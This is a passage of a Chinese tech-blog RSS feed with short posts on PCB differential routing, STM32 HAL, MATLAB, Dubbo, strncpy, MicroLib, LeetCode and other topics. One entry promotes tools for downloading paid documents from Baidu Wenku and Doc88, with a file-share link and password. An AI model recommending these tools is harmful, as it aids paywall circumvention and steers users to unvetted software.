差分线之间，首要任务是保持等长。&#xA;因为差分接收器主要通过检测正负信号的交叉点位置，所以，如果不等长，交叉点位置就会改变。&#xA;(2) 尽量保证差分线宽度、间距不变，因为这两个参数改变的话，会引起差分线特征阻抗的改变，引起反射。&#xA;(3) 补等长的时候，哪边有不等长不哪边。&#xA;(4) 和单端信号一样，避免使用90度角。&#xA;(5) 差分线之间布局尽量对称，特别在串联电阻或电容处。&#xA;(6) 在差分线上不要有stub.&#xA;参考文献：&#xA;(1)https://wk.baidu.com/view/b482383edd3383c4ba4cd274?pcf=2&#xA;(2) https://wk.baidu.com/view/b1e5115b312b3169a451a432?pcf=2&#xA;(3)the impact of a nonideal return path on differential signal integrity&#xA;(4)Eric Bogatin，Not all common currents are bad&#xA;(5)Design of Differential Filters for High-Speed Signal Chains，TI 应用文档</description>
    </item>
    <item>
      <title>STM32实现LED闪烁——基于HAL库</title>
      <link>https://bchobby.github.io/posts/8e8c7d9de10fb55207e141d3285e7e0c/</link>
      <pubDate>Tue, 05 Jan 2021 15:03:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e8c7d9de10fb55207e141d3285e7e0c/</guid>
      <description>一、利用CubeMX生成点亮LED的代码 具体操作参考下面链接：&#xA;https://blog.csdn.net/qq_43279579/article/details/112213196&#xA;二、实现闪烁过程 1.闪烁原理&#xA;通过控制LED上管脚输出高低电平，来实现LED闪烁。&#xA;通过电路原理图，可以看出当LED的管脚输出为低电平时，LED处于一个连通的状态，因此，LED被点亮，而当LED的管脚输出高电平时，LED两边不存在电势差，就不会有电流流过，即LED被熄灭。&#xA;2.闪烁实现所用到的函数&#xA;由于使用HAL库进行开发，它提供了一些相关函数进行使用。（此处只说明使用的函数）&#xA;①延时函数（HAL_Delay）&#xA;函数原型： void HAL_Delay (__IO uint32_t Delay)&#xA;参数说明：Delay表示所要延时的时间大小，单位是毫秒&#xA;②写管脚函数（HAL_GPIO_WritePin）&#xA;函数原型：void HAL_GPIO_WritePin (GPIO_TypeDef * GPIOx, uint16_t&#xA;GPIO_Pin, GPIO_PinState PinState)&#xA;参数说明：&#xA;GPIOx: 管脚组（x的取值为A~G）&#xA;GPIO_Pin: 管脚编号（x的取值为0~15）&#xA;PinState: 管脚的状态（取值为GPIO_BIT_RESET表示0， GPIO_BIT_SET表示1）&#xA;3.具体实现主要代码&#xA;while (1) { //写循环执行的代码&#x9;//第一步LED 亮 PC0 设置为0 HAL_GPIO_WritePin(GPIOC,GPIO_PIN_0,GPIO_PIN_RESET); //第二步 延时 HAL_Delay(1000); //第三步LED 灭 HAL_GPIO_WritePin(GPIOC,GPIO_PIN_0,GPIO_PIN_SET); //第四步 延时 HAL_Delay(1000); } 4.编译下载&#xA;实现效果&#xA;核心板上的LED实现了循环闪烁。&#xA;小结&#xA;本过程主要是理解到实现闪烁的原理，如何使用HAL库提供的函数进行编写程序。对于不同板子，原理基本上是一样的，主要是学会如何看懂原理图和查看HAL库开发手册。</description>
    </item>
    <item>
      <title>MATLAB函数  zp2tf详解</title>
      <link>https://bchobby.github.io/posts/c9350b2bc9b068c2faa61f409b422d1e/</link>
      <pubDate>Mon, 04 Jan 2021 22:30:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9350b2bc9b068c2faa61f409b422d1e/</guid>
      <description>zp2tf：&#xA;将零极点增益滤波器参数转换为传递函数的形式&#xA;语法格式：[b，a] = zp2tf（z，p，k）&#xA;例如：&#xA;[b，a] = zp2tf（z，p，k）将单输入/多输出（SIMO）系统的分解式传递函数表示 ：&#xA;转换为多项式传递函数表示：</description>
    </item>
    <item>
      <title>高光谱图像分类--HybridSN: Exploring 3-D–2-DCNN Feature Hierarchy for Hyperspectral Image Classification</title>
      <link>https://bchobby.github.io/posts/cb161f1f781e1677a46040ad205a477b/</link>
      <pubDate>Mon, 04 Jan 2021 15:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb161f1f781e1677a46040ad205a477b/</guid>
      <description>《HybridSN: Exploring 3-D–2-DCNN Feature Hierarchy for Hyperspectral Image Classification》&#xA;S. K. Roy, G. Krishna, S. R. Dubey, B. B. Chaudhuri HybridSN: Exploring 3-D–2-D CNN Feature Hierarchy for Hyperspectral Image Classification, IEEE GRSL 2020&#xA;这篇论文构建了一个 混合网络 （3D卷积+2D卷积）解决高光谱图像分类问题。&#xA;Q:3D卷积和2D卷积的区别?&#xA;首先两者都是多通道卷积，而3D卷积比2D卷积多一个深度信息，本质上是一样的，因为2D卷积可以默认深度信息为1。&#xA;2D卷积 shape：(batch_size, channel, height, weight)&#xA;3D卷积shape：(batch_size, channel, depth, height, weight)&#xA;模型网络结构 三维卷积部分：&#xA;conv1：（1, 30, 25, 25）， 8个 7x3x3 的卷积核 ==&amp;gt;（8, 24, 23, 23）&#xA;conv2：（8, 24, 23, 23）， 16个 5x3x3 的卷积核 ==&amp;gt;（16, 20, 21, 21）</description>
    </item>
    <item>
      <title>Spring Cloud Alibaba-在nacos环境下整合dubbo</title>
      <link>https://bchobby.github.io/posts/16b8eb6b04f96d7d7133b891519a2b04/</link>
      <pubDate>Mon, 04 Jan 2021 14:17:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16b8eb6b04f96d7d7133b891519a2b04/</guid>
      <description>echo编辑整理，欢迎转载，转载请声明文章来源。欢迎添加echo微信(微信号：t2421499075) 交流学习。&#xA;我们之前整合了fegin来调用相对应的服务，本章我们来整合dubbo。那有了fegin为什么还要dubbo？这是本章的核心，本章不仅会讲怎么整合使用dubbo，同时也会讲dubbo和fegin的区别&#xA;fegin和dubbo怎么选 首先，不谈技术的区别和具体作用，fegin和dubbo最大的区别就是：dubbo是alibaba的亲儿子&#xA;为什么要整合dubbo dubbo按理来说，自己就是一个很好的微服务治理框架。既然SpringCloudAlibaba也是一套微服务治理方案，那这个时候使用dubbo是不是显得有很多的重复？其实不然。在Spring Cloud Alibaba的整合之下，Dubbo用户既可以享受到原本RPC带来性能优势，又可以更好的享受Spring Cloud的各种福利；而对于Spring Cloud用户来说，在服务治理层面，又对了一个不错的可选项。可以说这块的整合是真正的让这两大用户群体得到了很好的融合，起到了互相成就的作用。&#xA;整合dubbo，入门案例 利用Dubbo来实现服务提供方与服务消费方，这里我们就需要创建对应的两个项目，一个是服务提供者，一个是服务消费者。我们先来创建一个服务提供者。&#xA;创建一个简单的SpringBoot服务，这里SpringBoot的版本我选择的：2.2.11.RELEASE 引入整合dubbo需要的依赖 1、spring-cloud-starter-dubbo2、spring-cloud-starter-alibaba-nacos-discovery&#xA;我的server项目pom文件如下 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.11.RELEASE&amp;lt;/version&amp;gt; &amp;lt;relativePath/&amp;gt; &amp;lt;!-- lookup parent from repository --&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;groupId&amp;gt;com.echo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-server&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.0.1-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;name&amp;gt;dubbo&amp;lt;/name&amp;gt; &amp;lt;description&amp;gt;Demo project for Spring Boot&amp;lt;/description&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;spring-cloud-alibaba.version&amp;gt;2.2.1.RELEASE&amp;lt;/spring-cloud-alibaba.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.junit.vintage&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit-vintage-engine&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.</description>
    </item>
    <item>
      <title>变压器符号_电气图形符号你认识几个？</title>
      <link>https://bchobby.github.io/posts/141ed3e11497cb6d2716dae6ea7afcae/</link>
      <pubDate>Sun, 03 Jan 2021 16:51:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/141ed3e11497cb6d2716dae6ea7afcae/</guid>
      <description>如果你想进入电气成套行业，基础一线或者是设计岗之类的，CAD图纸会看吗？基础元器件图形符号认识吗？今天我来教大家认识下这些图形符号。&#xA;1、断路器&#xA;这是一个1路的16A的微型开关&#xA;我们平常口头上叫开关，其实也就是断路器，分为微型断路器和塑壳断路器，都是这个符号表示。&#xA;2、隔离开关&#xA;这是一个4路的电流32A的隔离开关&#xA;隔离开关基本也都是这个符号表示，有的图纸中刀开关也用此符号表示。&#xA;3、负荷开关&#xA;3P 电流100A 的负荷开关&#xA;4、接触器&#xA;1P 9A的接触器&#xA;5、热继电器&#xA;电流2.5~4 的热继电器&#xA;6、电流互感器&#xA;电流150A 的电流互感器&#xA;7、变压器&#xA;8、熔断器&#xA;10A的熔断器&#xA;9、变频器&#xA;参数3.7kw 的变频器&#xA;10、浪涌保护器&#xA;图1&#xA;图2&#xA;图1和图2都代表是浪涌保护器，需要注意参数，有TI和T2级别在之分。&#xA;11、漏电开关&#xA;图1&#xA;图2&#xA;塑壳和微断开关的图形符号上，加上一个圆圈，表示带漏电。图1和图2 表示方法都可以。&#xA;12、控制与保护开关&#xA;13、双电源开关&#xA;4p 电流100A的双电源开关&#xA;14、后备保护器&#xA;15、电度表&#xA;16、电流表&#xA;代表3个电流表&#xA;17、变压器&#xA;电气成套涉及到的元器件大部分都在这里了。&#xA;如有不对的地方，欢迎指正。</description>
    </item>
    <item>
      <title>图片中的放大镜怎么弄_2种方法，教你如何在PPT中局部放大图片</title>
      <link>https://bchobby.github.io/posts/50f1d1579de1f0909f95da4a1cc80af5/</link>
      <pubDate>Sun, 03 Jan 2021 15:57:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50f1d1579de1f0909f95da4a1cc80af5/</guid>
      <description>我们常看到在一些细节显示的图片上，会使用局部放大的效果来看展示，也可以说是放大镜效果。&#xA;那么这种效果是怎么做出来的呢？&#xA;今天小编解锁了2种方法来制作这种图片。&#xA;一种，是使用合并形状中的“相交功能”；&#xA;一种，是使用了裁剪功能；&#xA;其实不管哪一种，最后呈现出来的效果都是一样的。&#xA;一，用“相交功能”制作局部放大效果&#xA;1，先在PPT中插入一张图片；&#xA;2，将这张图片复制一份，且按住“shift键”等比放大；且选中放大的这张图片，选择“格式”——“校正”，将亮度和对比度都调整为20%；&#xA;3，在这张PPT中，插入一个形状，即最后局部放大的形状，如果想局部放大为圆形，那么，选择插入“椭圆”这个形状，按住“shift键”画出来的即为圆形；&#xA;4，选中刚画好的“圆形”和“放大的这张图片”，选择“格式”——“相交”，即可得到局部放大的效果。&#xA;在这个效果上面插入一个“放大镜”，就是我们看到的放大镜局部放大效果了。&#xA;二，使用“裁剪功能”制作局部放大效果&#xA;1，先在PPT中插入一张图片；&#xA;2，将这张图片复制一份，且按住“shift键”等比放大；这两步与上面第一种方法制作的前两部相同；&#xA;3，紧接着，选中被放大的这张图片，选择“格式”——“裁剪”，裁剪出我们需要放大的那一部分；&#xA;4，此时，我们已经完成局部放大，不过么看着还不太明显，为了让局部放大明显一些，我们除了选择上面的增加“放大镜”素材之外，还可选择图片，点击“格式”——“图片效果”选择一个你想要的效果就可以了。&#xA;以上就是在PPT制作局部放大功能的两种做法，你也可以试试！</description>
    </item>
    <item>
      <title>由空间三对点求解两个坐标系之间的变换矩阵</title>
      <link>https://bchobby.github.io/posts/1d43d9e75a72a1cd18081b5553d1d4cd/</link>
      <pubDate>Sun, 03 Jan 2021 11:36:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d43d9e75a72a1cd18081b5553d1d4cd/</guid>
      <description>三维刚体变换模型（即旋转/平移矩阵，RT矩阵）的估计方法&#xA;原理简单阐述：&#xA;只要算出变换矩阵，就可以算出A坐标系的一个点P在坐标系B里的对应点坐标，即&#xA;T为3x3的转换矩阵， t 为3x1的位移变换向量，这里点坐标均为3x1的列向量（非齐次形式，齐次形式下为4x1列向量，多出的一个元素值补1而已）。理论上只要给定至少3对点，就能计算出 T 和 t 。自然的，点对越多，计算出来的转换就越精确。详细的原理请参考《Estimating 3-D Rigid Body Transformations: A Comparison of Four Major Algorithms》，它使用SVD方法计算 T 和 t 。&#xA;下面就话不多说，上代码。亲写亲测有效 cv::Mat Get3DR_TransMatrix(const std::vector&amp;lt;cv::Point3f&amp;gt;&amp;amp; srcPoints, const std::vector&amp;lt;cv::Point3f&amp;gt;&amp;amp; dstPoints) { double srcSumX = 0.0f; double srcSumY = 0.0f; double srcSumZ = 0.0f; double dstSumX = 0.0f; double dstSumY = 0.0f; double dstSumZ = 0.0f; //至少三组点 if (srcPoints.size() != dstPoints.size() || srcPoints.size() &amp;lt; 3) { return cv::Mat(); } int pointsNum = srcPoints.</description>
    </item>
    <item>
      <title>萤石云平台接入_从制造商到平台赋能，萤石如何成为转型范本</title>
      <link>https://bchobby.github.io/posts/161aed153cb5889da6b3c8c78f89b6f1/</link>
      <pubDate>Sun, 03 Jan 2021 06:49:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/161aed153cb5889da6b3c8c78f89b6f1/</guid>
      <description>百度搜索萤石，可以看到很多有关萤石产品的信息，包括智能家居摄像机、智能锁、智能猫眼等，这也侧面反映了外界对萤石的印象——产品制造商。但，萤石要做的不仅仅是智能硬件提供者。&#xA;早在2019年，萤石便调整了企业愿景，由原来的“成为公众信赖的视频产品及云平台提供商”转变为“成为可信赖的安全智能家居产品及物联网平台提供商”。今年3月，萤石官方微信号也正式更名，从“萤石智能生活”改名为“萤石智居物联”。从这一系列举措可以看出，萤石有意识的在转变自己的定位。&#xA;5月28日，萤石举办了以“易智居·逸生活”为主题的线上战略暨新品发布会，并在会上发布了EZIoT平台与企业萤石云，两大产品的发布标志着萤石正式从产品制造商走向平台赋能者。&#xA;寻根溯源，萤石转变的背后&#xA;看似简单的定位变更，背后显示的却是企业自身深厚的积累。&#xA;成立于2013年的萤石，最初以民用安防品牌进入人们的的视野，推出了一系列民用安防摄像头，开启了民用智能监控的时代。&#xA;虽然在视频技术上拥有深厚的基础，但萤石没有像大多数公司一样依靠原有技术输血，而是专注硬件的自主研发。随后几年，萤石逐渐丰富产品品类、延展产品线，并大力在系统生态方面获得长足发展，品牌定位也从初期类消费品牌、到消费品牌，再转变为现如今平台提供商。&#xA;其中最值得一提的是萤石云的研发，这片“云”也成为萤石业务发展的关键。&#xA;2019年，萤石首次提出1+4+N的业务架构，即以萤石云为中心，搭载包括智能安防、智能入户、智能控制、智能机器人在内的四大自研硬件，开放接入环境控制、智能影音、智能会议等子系统生态，实现住宅、办公室、商铺、学校、酒店等场所的全屋智能化，构建以安全为核心的智能家居IoT生态。&#xA;据悉，截至2019年底，萤石已经积累数千万级用户，每日活跃用户在千万级，每天稳定承接的消息处理量在10亿级，已具备亿级设备运维及金融级信息安全加密能力。&#xA;赋能赋利，共启智联物居新篇章&#xA;除了自身多年的业务能力沉淀以及强大的技术支持，萤石转变的背后其实也是对市场战略变化的深刻把握。&#xA;根据Statista数据显示，2017年世界智能家居市场规模约334亿美元，到2022年有望增至782亿美元。可见，智能家居行业有望迎来更大发展机遇。面对这样的市场环境，萤石提出成为可信赖的安全智能家居产品及物联网平台提供商，无疑顺应了市场趋势。&#xA;另一方面，艾瑞数据显示，受益于智能家居场景的率先爆发，而后由于5G商用，低功耗广域物联网的超广覆盖，中国物联网连接量2025年将增至199亿。目前，物联网正处于连接高速增长的阶段，未来数百亿的设备并发联网产生的交互需求、数据分析需求将促使IoT与AI的更深融合。而萤石CMO郭航标在发布会现场提到，“AI技术和IoT技术的发展，加速了商业的智能化和数字化，商业智居的需求将会显著增长。”因而，萤石选择物联网这一领域，意味着更广阔的未来、更宽阔的赛道。&#xA;在“1+4+N”的战略牵引下，萤石发布了EZIoT平台与企业萤石云，这是智能家居向空间智能化拓展的必然选择，更多的商业场景智能化需求激增。针对商用场景的智能化需求，萤石开发了丰富的IoT连接组件、SaaS组件、AI服务模块，极大地降低了合作伙伴的开发难度和开发投入，帮助中小企业打造智能化解决方案，快速响应需求落地。以蓝鸥微校为例，依托萤石商业智居SaaS生态平台，集成了云监控、云直播组件，打造了智慧幼教解决方案，该方案提供了视频、管理、互动三位一体的智慧教育新模式，实现了园方和家长间的有效互动。因而，EZIoT平台与企业萤石云的开放不仅能够为开发者提供了稳定的能力开放服务，也给中小商业智能化转型提供了可能。&#xA;随着5G商业化落地加速，AI+IoT时代全面开启，萤石平台赋能者的角色无疑会给更多的合作伙伴赋能赋利，形成开放合作的行业生态，从而共同开启智联物居的新篇章。相信随着萤石云生态建设的不断完善，未来萤石将会以开放的心态、过硬的平台实力，丰富的服务积累，走进更宽广的物联网大战场。</description>
    </item>
    <item>
      <title>keil5怎么放大字体_如何解决Win10屏幕字体缩放模糊？高分屏难道还要忍受毛玻璃？...</title>
      <link>https://bchobby.github.io/posts/c9bdb06b79e3ab1fe3396bab54578f08/</link>
      <pubDate>Sun, 03 Jan 2021 05:41:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9bdb06b79e3ab1fe3396bab54578f08/</guid>
      <description>新买的电脑为什么字看起来很糊？对于这个问题，下面简单聊下原因和解决办法，希望对有类似问题的朋友有所帮助。&#xA;新买的电脑为什么字看起来很糊？&#xA;现在新买的电脑，预装的都是Windows10系统，并且屏幕分辨率多为1080P全高清，甚至是2K超清屏。对于很多高分辨率电脑来说，尤其是屏幕比较小的笔记本电脑，如果100%显示字体完全不会存在模糊现象，但会出现图标和字体非常小，严重影响使用，因此一般需要设置放大125%或150%显示，已解决图标和文字太小的问题，但这样一来就容易出现因放大，字体变得模糊的问题。&#xA;那么，Win10电脑字体模糊怎么办呢？目前的解决办法主要是通过设置合适的显示比例，尽量使得画面图标、字体又大又清晰来解决。&#xA;1、在Win10桌面空白的地方点击鼠标右键，然后点击打开“显示设置”。&#xA;2、在Win10显示设置中，可以对缩放和布局、屏幕分辨率进行调整，一般分辨率选择最高，一般1080P即可，无需调节，主要是缩放和布局可以调节下，直到自己满意为止。&#xA;默认推荐放大比例为100%、125%、150%、175%，选择放大比例越大，字体和图标就越大，但相应的字体模糊就更为明显，100%虽然最清晰，但图标和字体很小，会严重影响工作效率，一般建议选择125%或150%比较合适。&#xA;屏幕缩放显示设置&#xA;另外，还可以自定义缩放，比如不少网友发现，将缩放比例自定义为124%,具备适中的图标大小和字体清晰度，体验不错，感兴趣的朋友不妨试试，找个适合自己的缩放比例。</description>
    </item>
    <item>
      <title>如何下载道客巴巴付费文档_你知道如何能够下载文库的文档吗？</title>
      <link>https://bchobby.github.io/posts/d2bdd581a47194a1a37417049abed574/</link>
      <pubDate>Sat, 02 Jan 2021 18:04:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2bdd581a47194a1a37417049abed574/</guid>
      <description>同学们好，我是陆十二&#xA;今天和大家分享如何下载网络文库文档，通过以下软件可以做到在大部分文库进行下载。&#xA;一、百度文档 0.95&#xA;这款软件可以做到百度文库word和excel的原格式下载。&#xA;使用方法：打开软件，复制文档链接至输入框内，点击提交，稍等片刻，文档就会下载到同文件夹下download文件夹内。&#xA;二、冰点文库&#xA;这款软件可以做到百度，豆丁，丁香，畅享网，it68，mbalib，mab.book118，open-open, 金字塔医学，大桔灯文库等文库文档下载，下载后文件格式为PDF。&#xA;使用方法：打开文件夹内Fish程序，复制文档链接至输入框内，点击下载，在下载进度完成后，可以在同文件夹下kpdf文件夹内找到了。文件为PDF格式，想要编辑的话需要自行转换。&#xA;三、豆丁当当&#xA;这款软件与上一款功能大致相同，唯一区别就是这款软件可以下载道客巴巴文档，同时可以去除文档中文库网站水印。&#xA;使用方法：打开文件夹内豆丁当当程序，复制文档链接至输入框内，点击下载，在下载进度完成后，可以在同文件夹下pdf文件夹内找到了。文件为PDF格式，想要编辑的话需要自行转换。&#xA;陆拾贰&#xA;下载链接：https://www.lanzous.com/b015dnilc&#xA;密码：g34q&#xA;分享可以简化工作与生活的黑科技软件</description>
    </item>
    <item>
      <title>fcpx怎么合成延时摄影_记第一个延时摄影</title>
      <link>https://bchobby.github.io/posts/6739e4696aa97b4b7fb22ed4bc6ec825/</link>
      <pubDate>Sat, 02 Jan 2021 00:31:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6739e4696aa97b4b7fb22ed4bc6ec825/</guid>
      <description> 一月前脑海中出现一个想法：用手机在固定的地方，每隔一段时间拍摄一张照片，再合成一个延时摄影。看花开花落，瞧云卷云舒。&#xA;有了这个念头，就开始想怎么实现，拍照可以用手机（iphone6s）；固定，嗯，就用三脚架固定；地方嘛，就是阳台了；每隔一段时间拍照，没找到合适的的App，自己动手写一个；照片合成视频使用final cut pro；整个流程还是很清晰的。&#xA;有了上述流程就开干，第一件就是写一个demo实现设定拍照间隔，即多长时间拍一张照片。由于半路出家，swift语言只能说刚刚入门，遇到的第一个难题就是自动拍照后怎么自动存储到相册，默认的效果拍照后会有个按钮让你选择使用这个照片还是重拍，肯定不能去手动选择，必须要自动保存，没解决这个问题，也就没法继续了，网上搜索了好几下，翻阅拍照、photo、image等开发者文档，发现有可用方法，可以自动拍照并保存到相册了，高兴！接下来又遇到一个问题，拍照时没有对焦，拍照界面一打开直接就拍照了，根本就没有对焦，拍出来的照片都是近视眼，这肯定不能看，继续找，没找到自动对焦的属性，想了一个傻方法-拍照时延时一秒，给它时间去对焦，效果还行。再用定时器每隔一段时间执行拍照保存，终于算是实现了需求，没啥艺术细菌，界面比较丑，黄色的图片是桂林万达广场游乐设施，元旦的时候正在倒球球儿，满围栏的球球儿。&#xA;https://www.zhihu.com/video/1065361768586563584 实现了手机拍照保存，接下来的就简单了 ，三脚架整起，找一个视角，测试视角就用阳台下的停车场了，夜晚的停车场，车很少，人很多，有散步的，有打球的，有并行聊天的，有坐地沉思的，这些都成了美丽的风景。&#xA;测试时设定每5秒拍一张，拍了6百多张，测试的素材够了。&#xA;接下来就是合成视频了，我是用的是fcp x。将素材从手机导出，新建项目，把每一张照片时间长度设定为1帧，速率24p，6百多张也就是20多秒，想要时间更短，可以试下更高的速率。&#xA;导出后还行，demo完成，接下来计划拍一个24小时的素材，每分钟拍一张，1440张，从星光到日出到日落到星光。&#xA;https://www.zhihu.com/video/1065366284916563968 </description>
    </item>
    <item>
      <title>软通动力华为java机考题库_【西安软通】2019全员大练兵基础代码知识案例系列宣传Vol.4...</title>
      <link>https://bchobby.github.io/posts/685979f34cef9374715febe8f19d1416/</link>
      <pubDate>Fri, 01 Jan 2021 19:15:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/685979f34cef9374715febe8f19d1416/</guid>
      <description>java编码规范之命名规范要牢记&#xA;案例分析&#xA;01&#xA;代码中的命名均不能以下划线或美元符号开始，也不能以下划线或美元符号结束。&#xA;02&#xA;常量命名全部大写，单词间用下划线隔开，力求语义表达完整清楚，不要嫌名字长。&#xA;03&#xA;类名使用UpperCamelCase风格，必须遵从驼峰形式，但以下情形例外：(领域模型的相关命名)DO / BO / DTO / VO等。&#xA;04&#xA;代码中的命名严禁使用拼音与英文混合的方式，更不允许直接使用中文的方式。&#xA;05&#xA;接口类中的方法和属性不要加任何修饰符号(public 也不要加)，保持代码的简洁性，并加上有效的Javadoc注释。尽量不要在接口里定义变量，如果一定要定义变量，肯定是与接口方法相关，并且是整个应用的基础常量。&#xA;要点总结&#xA;代码千万行，注释第一行&#xA;编程不规范，同事两行泪&#xA;请持续关注后续案例宣传&#xA;往期回顾&#xA;Vol.1&#xA;Vol.2&#xA;Vol.3&#xA;软通动力MAG西安&#xA;关注解锁更多精彩内容&#xA;软通动力重大客户事业群西安地域官方号</description>
    </item>
    <item>
      <title>C语言strncpy()函数</title>
      <link>https://bchobby.github.io/posts/9bf094088d13c68df859058e77ce8b6a/</link>
      <pubDate>Thu, 31 Dec 2020 22:58:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bf094088d13c68df859058e77ce8b6a/</guid>
      <description>描述 char *strncpy(char *dest, const char *src, size_t n) 把 src 所指向的字符串复制到 dest，最多复制 n 个字符。当 src 的长度小于 n 时，dest 的剩余部分将用空字节填充。&#xA;声明 下面是 strncpy() 函数的声明。&#xA;char *strncpy(char *dest, const char *src, size_t n) 参数 dest -- 指向用于存储复制内容的目标数组。src -- 要复制的字符串。n -- 要从源中复制的字符数。 返回值 该函数返回最终复制的字符串。&#xA;实例 下面的实例演示了 strncpy() 函数的用法。&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;string.h&amp;gt; int main(void){ char dest[20] = &#34;Hello\0Hi&#34;; char src[6] = &#34;World&#34;; strncpy(dest, src,2); printf(&#34;将src的字符串赋值到dest:%s\n&#34;,dest); return 0; } 打印结果：&#xA;代码分析：&#xA;1、在设置字符数组长度的时候根据字符数计算，如果字符数的长度大于字符数组的长度则编译不能通过。</description>
    </item>
    <item>
      <title>keil勾选Use MicroLIB 的作用</title>
      <link>https://bchobby.github.io/posts/dbbc233a5146f32712caacf049b43250/</link>
      <pubDate>Thu, 31 Dec 2020 17:22:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbbc233a5146f32712caacf049b43250/</guid>
      <description>MicroLib是一个针对用C编写的基于ARM的嵌入式应用程序的高度优化的库。与包含在ARM编译器工具链中的标准C库相比，MicroLib提供了许多嵌入式系统所需的代码大小的显著优势。&#xA;下图对使用标准库和使用微库代码大小进行了对比&#xA;MicroLib和标准C库之间的主要区别是:&#xA;1、MicroLib是专为深度嵌入式应用程序而设计的。&#xA;2、MicroLib经过优化，比使用ARM标准库使用更少的代码和数据内存。&#xA;3、MicroLib被设计成在没有操作系统的情况下工作，但是这并不妨碍它与任何操作系统或RTOS一起使用，如Keil RTX。&#xA;4、MicroLib不包含文件I/O或宽字符支持。&#xA;5、由于MicroLib已经优化到最小化代码大小，一些函数将比ARM编译工具中可用的标准C库例程执行得更慢。&#xA;6、MicroLib和ARM标准库都包含在Keil MDK-ARM中。&#xA;官方描述：https://www.keil.com/arm/microlib.asp</description>
    </item>
    <item>
      <title>力扣435.无重叠区间----贪心策略三法（一暴力贪心，一优化验证过程，一另辟蹊径反面思考）</title>
      <link>https://bchobby.github.io/posts/fadce6b7cbec758dd47587fa742ae130/</link>
      <pubDate>Thu, 31 Dec 2020 16:48:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fadce6b7cbec758dd47587fa742ae130/</guid>
      <description>435. 无重叠区间 给定一个区间的集合，找到需要移除区间的最小数量，使剩余区间互不重叠。&#xA;注意:&#xA;可以认为区间的终点总是大于它的起点。&#xA;区间 [1,2] 和 [2,3] 的边界相互“接触”，但没有相互重叠。&#xA;示例 1:&#xA;输入: [ [1,2], [2,3], [3,4], [1,3] ]&#xA;输出: 1&#xA;解释: 移除 [1,3] 后，剩下的区间没有重叠。&#xA;示例 2:&#xA;输入: [ [1,2], [1,2], [1,2] ]&#xA;输出: 2&#xA;解释: 你需要移除两个 [1,2] 来使剩下的区间没有重叠。&#xA;示例 3:&#xA;输入: [ [1,2], [2,3] ]&#xA;输出: 0&#xA;解释: 你不需要移除任何区间，因为它们已经是无重叠的了。&#xA;题解： 对于此题，只要以一种贪心的视角取看待即可。&#xA;首先由于给的数组是乱序的，所以不妨先将其排下序再进行计算。&#xA;那么是按每个数组的start值大小排序还是按照end值大小排序呢？&#xA;首先我们要明白，秉着贪心的原则，我们为了尽可能的去少删，故我们删去的应该是其end值较大的。&#xA;因为在以一个区间为基准，找到n个区间重合时时，我们必定要删去n-1个区间，只留下一个区间，而为了使留下的这个区间尽可能的不要再和别的区间“沾上关系”，故选择end值小的留下。&#xA;且在经过排序后，我们从第一个元素开始已经是end最小的了，所以只要发现与此元素的区间有重合的就直接删去即可，因为若留下end大的可能不只与该元素区间重合，可能还与别的区间重合。&#xA;可由一图加深理解：&#xA;图片来源：labuladong的算法小抄&#xA;因此下面是我第一次写出的代码，而我开始没有恰当考虑怎样去验证两个区间是重合的，因此代码较为繁杂，效率较低，且我着重于直接找到要删去的区间。&#xA;-------------注：下面的right相当于我原先提到的end,left相当于我原先提到的start&#xA;代码： int 